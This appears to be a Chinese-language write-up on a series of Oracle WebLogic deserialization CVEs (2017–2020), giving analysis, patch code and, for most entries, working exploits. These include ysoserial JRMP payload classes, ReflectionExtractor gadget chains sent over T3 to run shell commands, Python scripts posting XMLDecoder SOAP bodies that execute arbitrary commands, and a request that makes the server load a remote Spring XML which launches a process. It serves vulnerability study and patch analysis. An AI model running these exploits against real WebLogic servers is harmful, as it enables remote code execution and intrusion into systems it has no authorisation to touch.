public class JRMPClient3 extends PayloadRunner implements ObjectPayload < Registry > {

public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}

public Object getObject(final String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object)); // 用streamMessageImpl封装
}

public static void main(final String[] args) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

漏洞分析

此漏洞是对CVE-2018-2628的黑名单绕过,主要利用weblogic.jms.common.StreamMessageImpl在反序列化时不用经过resolveProxyClass()检查

补丁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { 
"org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist",
"java.rmi.activation", // new
"sun.rmi.server" // new
};

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[] {
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"java.rmi.server.UnicastRemoteObject", // new
"java.rmi.server.RemoteObjectInvocationHandler" // new
};

CVE-2018-3245

Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3

poc

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;


@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref); // 使用RMIConnectionImpl_Stub封装
return stub;
}

public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient4 extends PayloadRunner implements ObjectPayload<ReferenceWrapper_Stub> {

public ReferenceWrapper_Stub getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
ReferenceWrapper_Stub stu = new ReferenceWrapper_Stub(ref); // 使用ReferenceWrapper_Stub封装
return stu;
}

public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

漏洞分析

此漏洞是对cve-2018-2893的黑名单绕过,可以使用ReferenceWrapper_Stub或者RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler,关键是在找RemoteObject类的子类

补丁

直接将基类RemoteObject加入到黑名单

CVE-2019-2890

WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3

工具利用

https://github.com/SukaraLin/CVE-2019-2890

详细操作在README已经给出

漏洞分析

漏洞代码位于weblogic.jar中的weblogic.wsee.jaxws.persistence.PersistentContext.class类中,它的readSubject()方法中直接调用了readObject()方法进行反序列化,所以我们只要对着writeObject()写一个恶意对象就可以

image-20210126175015051

image-20210126175040943

补丁

增加黑名单检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static class WSFilteringObjectInputStream extends FilteringObjectInputStream {
private String firstClassName;

public WSFilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
Class clazz = super.resolveClass(descriptor);
if (this. firstClassName == null) {
String className = descriptor.getName();

try {
clazz.asSubclass(Subject.class);]
} catch (Exception var5) {
throw new InvalidClassException("Internal System Error");
}
this. firstClassName = className;
}
return clazz;
}
}

CVE-2020-2551

WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0

工具利用

https://github.com/Y4er/CVE-2020-2551.git

这个payload只能用在直连网络下,所以Win下本地打docker是打不了的,你可以选择自己本地搭一个服务器,可以选择在Linux虚拟机起docker,当然还有更简单的就是自己在docker里装个jdk8,然后在docker里打(因为这个payload只能用jdk8运行)

创建依赖库的wlfullclient.jar

1
2
cd WL_HOME/server/lib
java -jar wljarbuilder.jar

编译exp.java,这里必须保证jdk版本与目标环境一样

1
javac -source 1.6 -target 1.6 exp.java

开启JNDI触发漏洞

1
2
3
python -m SimpleHTTPServer 80
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.18.0.2/#exp" 1099
java -jar CVE-2020-2551.jar 172.18.0.2 7001 rmi://172.18.0.2:1099/exp

漏洞分析

RMI-IIOP具体原理可参考这篇文章

这个漏洞源于对JtaTransactionManager类的错误过滤导致的IIOP反序列化,我们把入口点定在JtaTransactionManager类的readObject()方法

image-20210129213556384

initUserTransactionAndTransactionManager()方法中调用了lookupUserTransaction()方法

image-20210129213630278

lookupUserTransaction()方法中使用getJndiTemplate()返回的jndiTemplate实例的lookup()方法进行JNDI

image-20210129213658529

所以只要控制我们的userTransactionName属性就可以JNDI任意类

image-20210129213846393

根据这篇博客可以知道,这个gadget在CVE-2018-3191就已经被挖掘出来,当时修复的时候是JtaTransactionManager的父类AbstractPlatformTransactionManager加入到了黑名单列表,T3协议使用的是resolveClass方法进行过滤,resolveClass方法是会读取父类的,但是IIOP协议就不会去读取父类导致我们可以绕过黑名单,触发JNDI注入。

下面是exploit的核心部分

1
2
3
4
5
6
7
8
9
10
11
// 创建jndi的context
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// payload
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);
// 代理类封装并绑定
Remote remote = createMemoitizedProxy(createMap("Foo", jtaTransactionManager), Remote.class);
context.rebind("Foo"), remote);

补丁

据说是直接封禁IIOP协议?

CVE-2020-2555

Oracle Coherence 3.7.1.17、12.1.3.0、12.2.1.3、12.2.1.4

需要注意的虽然Weblogic 10.3.6.0自带Oracle Coherence 3.7,但是它默认未启用Coherence,所以不在影响范围之内

工具利用

https://github.com/Y4er/CVE-2020-2555.git

漏洞分析

漏洞入口在coherence.jarLimitFilter类的toString()方法中,而BadAttributeValueExpException这个类可以调用任何类(val)的toString()方法,只要控制setSecurityManagernull即可,所以我们利用它来封装我们的恶意对象

image-20210127123724776

toString()方法中,提取m_comparator的值作为ValueExtractor,再对m_oAnchorTopm_oAnchorBottom调用extract()方法

image-20210127131228572

进入extract(),它是创建一个的aExtractor,并递归调用extract()方法

image-20210127131851693

getExtractors()返回的是m_aExtractor

image-20210127131908064

内部的extract()就是利用反射机制返回方法调用,方法名和参数都可以空,所以只要构成一条extract chain就可以实现任意代码执行了

image-20210127132406861

exploit核心部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
// 构造反射连
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod", new Object[]{"getRuntime", new Class[0]}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke", new Object[]{null, new Object[0]}
);
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec", new Object[]{new String[]{"/bin/bash", "-c", "touch /tmp/success"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
// 创建LimitFilter实例
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
// 设置limitFilter的m_comparator属性
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
// 设置limitFilter的m_oAnchorTop属性
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
// 设置BadAttributeValueExpException的val属性
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
// 序列化并发送payload
byte[] payload = Serializables.serialize(badAttributeValueExpException);
T3ProtocolOperation.send("127.0.0.1", "7001", payload);
}

补丁

这里借一下别人的图,修复的方式特别有趣,把整个把LimitFilter类的toString()方法中的全部extractor去掉了

image-20210127100406491

CVE-2020-2883

WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0

工具利用

https://github.com/Y4er/CVE-2020-2883

漏洞分析

此漏洞是对CVE-2020-2555补丁的绕过,因为LimitFilter被禁了,所以我们需要找其他在内部调用了extract()方法的函数,java.util.PriorityQueue.readObject()就是其中一个,我们跟进heapify()方法

image-20210127134622640

递归调用siftDown()

image-20210127134703950

如果comparator非空,即如果我们自己定义比较器,就调用siftDownUsingComparator()方法

image-20210127134828845

然后在我们的comparator调用compare()方法时

image-20210127135716314

在里面也调用了extract()方法,后面就和CVE-2020-2555类似了

image-20210127141737892

exploit核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {
// 构造反射链
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "touch /tmp/success"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
// 创建ChainedExtractor实例
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor };
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
// 创建PriorityQueue,并使用自定义的chainedExtractor
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
// 设置m_aExtractor属性
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);
// 序列化并发送payload
byte[] payload = Serializables.serialize(queue);
T3ProtocolOperation.send("127.0.0.1", "7001", payload);
}

补丁

将存在类似上面操作的extract() 方法的MvelExtractorReflectionExtractor 两个类加入到了黑名单中

CVE-2020-14644

Oracle WebLogic Server 12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

工具利用

https://github.com/potats0/cve_2020_14644

坑:注意打包成jar的时候把jar文件分开放,不然会有其他jar文件的输出信息

image-20210129234101716

漏洞分析

这是一条全新的gadget,漏洞入口点在coherence.jar中的com.tangosol.internal.util.invoke.RemoteConstructor,当反序列化类定义了readResolve()方法时,会在readObject()之后被调用

首先我们得知道,如果变量被transientstatic修饰的话是不参与序列化和反序列化的,比如下面的m_serializerm_loader

image-20210130120113315

image-20210130115655500

newInstance()如下image-20210130115853118

getClassLoader()中因为m_loader为空(原因上面提到),所以调用getContextClassLoader()方法

image-20210130115954423

realize()方法调用如下

image-20210130130218731

getDefinition()返回的是我们的m_definition

image-20210130125805171

然后是调用了definitiongetRemotableClass()方法,返回的是m_clz

image-20210130130001177

但是它也是被transient修饰的,所以返回的也是空

image-20210130130045856

所以下面我们会调用defineClass()去加载我们的definition,这里就可以自己实例化一个自定义类了

image-20210130130456664

相关方法的返回如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   public ClassIdentity getId() {
return this.m_id;
}
// 包名和方法名用`/`隔开
public String getName() {
return this.getPackage() + "/" + this.getSimpleName();
}
public String getPackage() {
return this.m_sPackage;
}
// 方法名和版本号用`$`隔开
public String getSimpleName() {
return this.getBaseName() + "$" + this.getVersion();
}
public String getBaseName() {
return this.m_sBaseName;
}
public String getVersion() {
return this.m_sVersion;
}

在后面还会对包名进行检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
   private ProtectionDomain preDefineClass(String var1, ProtectionDomain var2) {
if (!this.checkName(var1)) {
throw new NoClassDefFoundError("IllegalName: " + var1);
} else if (var1 != null && var1.startsWith("java.")) {
throw new SecurityException("Prohibited package name: " + var1.substring(0, var1.lastIndexOf(46)));
} else {
if (var2 == null) {
var2 = this.defaultDomain;
}

if (var1 != null) {
this.checkCerts(var1, var2.getCodeSource());
}

return var2;
}
}
// 检查包名
private boolean checkName(String var1) {
if (var1 != null && var1.length() != 0) {
return var1.indexOf(47) == -1 && (VM.allowArraySyntax() || var1.charAt(0) != '[');
} else {
return true;
}
}

所以exploit可以这么编写

1
2
3
4
5
6
7
8
9
10
// 实例化一个ClassIdentity
ClassIdentity classIdentity = new ClassIdentity(test.class);
// ClassPool是CtClass实例的容器
ClassPool cp = ClassPool.getDefault();
// CtClass表示一个class文件,以字节码方式存储
CtClass ctClass = cp.get(test.class.getName());
// 添加version规范类名
ctClass.replaceClassName(test.class.getName(), test.class.getName() + "$" + classIdentity.getVersion());
// 使用RemoteConstructor类封装
RemoteConstructor constructor = new RemoteConstructor(new ClassDefinition(classIdentity, ctClass.toBytecode()), new Object[0]);

补丁

未知

CVE-2020-14645

Oracle WebLogic Server 12.2.1.4.0

因为此构造链子用到了UniversalExtractor类,而这个类是Weblogic 12.2.1.4.0独有的,所以只能影响这个版本

工具利用

weblogic_cmd.jar上修改

https://github.com/Y4er/CVE-2020-14645

漏洞分析

此漏洞是对CVE-2020-2883的补丁绕过,在CVE-2020-2883把ReflectionExtractor类加入到黑名单,我们可以用UniversalExtractor类去进行构造

依旧是来到之前自定义的比较器,这次我们调用的是UniversalExtractor类的extractor方法

image-20210130141130883

因为oTargettargetPrev不相等,所以调用extractComplex()方法

image-20210130141158447

extractComplex()方法具体调用如下

image-20210130141530634

这里我们要令clzParam为空(原因在下),查看getClassArry()方法,只要令传入的m_aoParam为空即可

image-20210130143626948

然后来到getCanonicalName()方法

image-20210130144532283

进入getValueExtractorCanonicalName()方法,获取lambda的方法名,再放入到computeValueExtractorCanonicalName()调用,其实就是提取出.getKey().databaseMetaData的后半部分,即最后返回的sCNamedatabaseMetaData

image-20210130144653254

isPropertyExtractor()返回!m_fMethod

image-20210130141922042

我们看看m_fMethod的定义,因为m_fMethodtransient修饰,所以fProperty只能为true

image-20210130143857296

如果fProperty为true,就会去调用ClassHelper.findMethod()方法,其中BEAN_ACCESSOR_PREFIXES如下,所以说我们可以调用到任意的get、is的方法,这里是漏洞利用的关键点,在该测试中,我们调用的关键方法为getDatabaseMetaData()

image-20210130142347926

cParams为空,即令上面提到的clzParam为空,fExactMatch就会一直为true,如果fExactMatch && !fStatic为true,就回去调用getMethod()方法,这样就能顺利返回方法调用

image-20210130142813607

之后就是调用getDatabaseMetaDatainvoke()方法

image-20210130145752528

持续跟进,我们可以看到调用了getDatabaseMetaDataconnect()方法

image-20210130145845091

在里面我们就会看到lookup()方法

image-20210130145911420

JNDI的地址就是我们的dataSource

image-20210130150003790

所以exploit的编写如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 创建ExtractorComparator实例
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
// 创建JdbcRowSetImpl实例
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://172.20.0.2:1089/#exp");
// 创建PriorityQueue实例,并使用自定义比较器
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
// 序列化并发送payload
byte[] payload = Serializables.serialize(queue);
T3ProtocolOperation.send("172.20.0.2", "7001", payload);

补丁

未知

XML反序列化

CVE-2017-3506

Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.0、12.2.1.1、12.2.1.2

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import re
import sys

headers = { 'Content-Type':'text/xml' }
proxies = {"http": "http://127.0.0.1:8080"}

def poc(url, cmd):
url = '%s/wls-wsat/CoordinatorPortType' % url
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>%s</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
''' % cmd

try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5, proxies=proxies)
response = response.text
response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
except Exception as e:
response = ""

if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
result = "test ok"
return result
else:
result = "No Vulnerability"
return result

if __name__ == '__main__':
if len(sys.argv) < 3:
print("python poc.py http://127.0.0.1:7001 touch /tmp/success")
sys.exit(0)
else:
ip = sys.argv[1]
cmd = ' '.join(sys.argv[2:])
print(cmd)
print(poc(ip, cmd))

漏洞分析

这个漏洞是构造SOAP(XML)格式的请求触发XMLDecoder的反序列化,把漏洞入口定位在WorkContextServerTube类中的processRequest()方法,var1为我们传入的SOAP请求,它会写到var3中并调用了readHeaderOld()方法

image-20210125172658998

跟进去我们会发现它被传入到了WorkContextXmlInputAdapter类的构造函数中,这个地方就是漏洞的关键,说明我们对任意XML进行反序列化

image-20210125173128468

跟进这个类,可以发现它直接被带入了XMLDecoder()构造函数

image-20210125173246975

跳出来跟进receive()方法,就是处理拿到的XML数据,持续跟进就能看到它调用了readObject()方法进行反序列化

image-20210125174531750

image-20210125174545079

image-20210125174303357

image-20210125174632414

image-20210125174415289

补丁

找了网上别人的补丁主要代码,也是采用黑名单机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw newIllegalStateException("Invalid context type: object");
}
}
});
} catch(ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch(SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch(IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

可以看到它只是禁止了qNameobject类而已,所以很快就出现了下面CVE-2017-10271的绕过

CVE-2017-10271

Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.1、12.2.1.2

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import re
import sys

headers = {'Content-Type':'text/xml'}
proxies = {"http": "http://127.0.0.1:8080"}

def poc(url, cmd):
url = '%s/wls-wsat/CoordinatorPortType' % url
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>%s</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
''' % cmd

try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
response = response.text
response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
except Exception as e:
response = ""
print('[*]', e)

if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
result = "[+] test ok"
return result
else:
result = "[*] No Vulnerability"
return result

if __name__ == '__main__':
if len(sys.argv) < 3:
print("python poc.py http://127.0.0.1:7001 touch /tmp/success")
sys.exit(0)
else:
ip = sys.argv[1]
cmd = ' '.join(sys.argv[2:])
print('[*] send payload:', cmd)
print(poc(ip, cmd))

此外还有new标签也可以利用

注意jdk6不支持new等标签

1
2
3
4
5
6
<java version="1.4.0" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string>
<method name="start"/>
</new>
</java>

漏洞分析

因为和CVE-2017-3506几乎一样,这里就不分析了,其实就是把object标签更改为其他可用的,比如void

补丁

对涉及到的object、new、method、void、array类型都进行了检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for (int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if (var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
......
}
}
}
}
}

CVE-2019-2725

Oracle WebLogic Server 10.3.6.0、12.1.3.0

poc

这个漏洞在市面上流传的很多payload都是没有考虑CVE-2017-10271的补丁,直接就是新入口+旧payload,比如<void class=”xxx”>

真正意义上的对CVE-2017-10271的绕过的关键点在于对<class>标签的利用,即我们可以利用<class>标签来创建任意类的实例

目前能利用的类有

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext

oracle.toplink.internal.sessions.UnitOfWorkChangeSet(version <= 10.36,因为超过这个版本就不存在了)

版本 1( version <= 10.36 )

因为我这里用的是vulhub/weblogic:10.3.6,所以用的是CommonsCollections1的Gadget作为测试,其他情况视具体环境而定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python3
import requests
import re
import sys
import subprocess
import struct

headers = {'Content-Type':'text/xml'}

def gen_payload(cmd):
try:
gen_ser = "java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 '%s'" % cmd
print("[*] generate CommonsCollections1 payload: %s" % gen_ser)
poc_ser = subprocess.Popen(gen_ser, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
except Exception as e:
print("[*] generate CommonsCollections1 payload failed")
sys.exit(0)

xml = """
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:asy="http://www.bea.com/async/AsyncResponseService" xmlns:wsa="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<wsa:Action>demoAction</wsa:Action>
<wsa:RelatesTo>test</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="%d">
%s
</array>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery />
</soapenv:Body>
</soapenv:Envelope>
"""

exploit = ''
_index = 0
for i in poc_ser:
_byte = int.from_bytes(struct.pack("B", i), byteorder='big', signed=True)
exploit += """
<void index="%d">
<byte>%d</byte>
</void>
""" % (_index, _byte)
_index += 1

payload = xml % (_index, exploit)
return(payload)

def poc(url, cmd):
url += '/_async/AsyncResponseService'
data = gen_payload(cmd)
try:
print("[*] send payload")
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
if response.status_code == 202:
result = "[+] test ok"
return result
else:
result = "[*] No Vulnerability"
except Exception as e:
result = '[*] error: ' + str(e)
return result


if __name__ == '__main__':
if len(sys.argv) < 3:
print("python3 poc.py http://127.0.0.1:7001 touch /tmp/success")
sys.exit(0)
else:
ip = sys.argv[1]
cmd = ' '.join(sys.argv[2:])
print(poc(ip, cmd))

版本 2(通杀版本)

这个payload执行的前提是支持spel表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Type: text/xml
Content-Length: 849

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:asy="http://www.bea.com/async/AsyncResponseService" xmlns:wsa="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>http://127.0.0.1:8000/poc.xml</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery />
</soapenv:Body>
</soapenv:Envelope>
1
2
3
4
5
6
7
8
9
10
11
12
13
// poc.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>

漏洞分析

漏洞发生原因是wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,这个漏洞可以说是对CVE-2017-10271的另一个入口和补丁绕过

首先我们的漏洞入口在weblogic.wsee.async.AsyncResponseHandler类的handleRequest方法上,设置RelatesTo属性进入else分支

image-20210125225235703

一直往下走就会来到weblogic.wsee.server.servlet.SoapProcessorprocess()handlePost()方法,而后会调用WsSkel的invoke()方法

image-20210126003209680

跟进invoke()方法,实例化了ServerDispatcher对象,并调用了dispatch()方法

image-20210126003353598

